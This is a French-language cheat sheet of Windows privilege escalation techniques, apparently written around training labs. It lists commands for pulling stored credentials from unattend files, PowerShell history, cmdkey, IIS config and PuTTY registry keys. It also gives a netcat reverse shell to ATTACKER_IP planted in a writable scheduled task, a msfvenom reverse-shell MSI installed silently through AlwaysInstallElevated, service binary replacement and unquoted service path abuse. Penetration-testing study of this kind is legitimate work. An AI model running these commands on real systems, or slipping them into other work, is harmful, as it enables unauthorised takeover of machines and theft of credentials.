Skip to main content

Cheat-sheet

Introduction

Cette page décrit plusieurs techniques pour faire de l'escalade de privilège sur un système Windows pour passe d'un utilisateur A à un utilisateur B.

Techniques

Mots de passe WDS

Parfois, les administrateurs laissent des identifiants en clair dans les fichiers de configuration de WDS qui est utilisé pour déployer une instance Windows sans interraction de la part de l'utilisateur.

Voici la liste des fichiers à consulter qui pourraient contenir des mots de passe :

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

Afficher l'historique de commande powershell

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Afficher les identifiants enregistrés

cmdkey /list

Lancer une commande "en tant que"

runas /savecred /user:admin cmd.exe

Ici, le cmd.exe sera lancé en tant qu'utilisateur admin .

Connexions IIS

La commande suivante va énumérer les connexions à la base de donnée IIS et peut parfois vous révéler des mots de passe :

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Identifiants PuTTY

Il est possible de récupérer les identifiants enregistrés dans PuTTY en interrogeant une clé de registre :

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Simon Tatham est le créateur du logiciel Putty et ne doit donc pas être remplacé par le nom de l'utilisateur. 

Tâche planifiée vulnérable

Parfois, les tâches planifiées sont vulnérables car le fichier est lancé en tant qu'utilisateur à privilège et peut en même temps être modifié par votre utilisateur.

Vous pouvez afficher les droits du fichier lancé par la tâche planifiée avec la commande suivante :

icacls <FILE>

Admettons le fichier c:\tasks\schtask.bat :

c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)
                    BUILTIN\Users:(I)(F)

Le (F) signifie Full Access et donc que les utilisateurs peuvent modifier le fichier.

On pourrait donc injecter un simple payload à l'intérieur et attendre que la tâche se lance :

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Dans le cas ci-dessus vous devez évidemment lancer un listener en amont.

AlwaysInstallElevatedAlways Install Elevated

Cette fonctionnalité peut être activée via les deux clés de registre suivantes :

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Si la fonctionnalité est activée, vous pouvez lancer automatiquement les fichiers .msi avec les droits administrateurs.

Avec Metasploit, vous pouvez générer un payload :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o malicious.msi

Vous pouvez ensuite lancer le fichier malicieux en mode silencieux sur le poste :

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Insecure Permissions on Service Executable

Dans le cas où un service lancé en administrateur exécute un fichier modifiable (M) par le groupe Everyone, il est possible d'écraser ce fichier par un fichier malveillant et ainsi, élever ses privilèges :

C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

On fait une backup de l'exécutable originale :

move WService.exe WService.exe.bkp

Puis on renomme notre payload :

move C:\Users\thm-unpriv\rev-svc.exe WService.exe

Puis on relance le service :

sc stop windowsscheduler
sc start windowsscheduler

Unquoted Service Paths

Cette vulnérabilité survient lorsque le chemin de l'exécutable du service est mal configuré et comporte des espaces.

Voici un exemple de service correctement configuré :

C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Et maintenant voici un service mal configuré :

C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2

En effet, l'exécutable du service comporte des espaces et n'est pas entouré par les guillements. Il est donc vulnérable.

Dans l'ordre, voici la commande qui sera exécutée lors de l'exécution du service :

CommandArgument 1Argument 2
C:\MyPrograms\Disk.exeSorterEnterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exeEnterprise\bin\disksrs.exe 
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe  

On s'aperçoit que le service va d'abord essayer d'exécuter Disk.exe !

On peut donc créer un payload qui portera le nom Disk.exe à l'emplacement C:\MyPrograms\ et il sera exécuté par le service.

Cependant, la majorité des services lancent un exécutable situé dans le répertoire "C:\Program Files" ou "C:\Program Files (x86)" qui sont protégés en écriture et empêche l'utilisation de cette technique même sur un service vulnérable.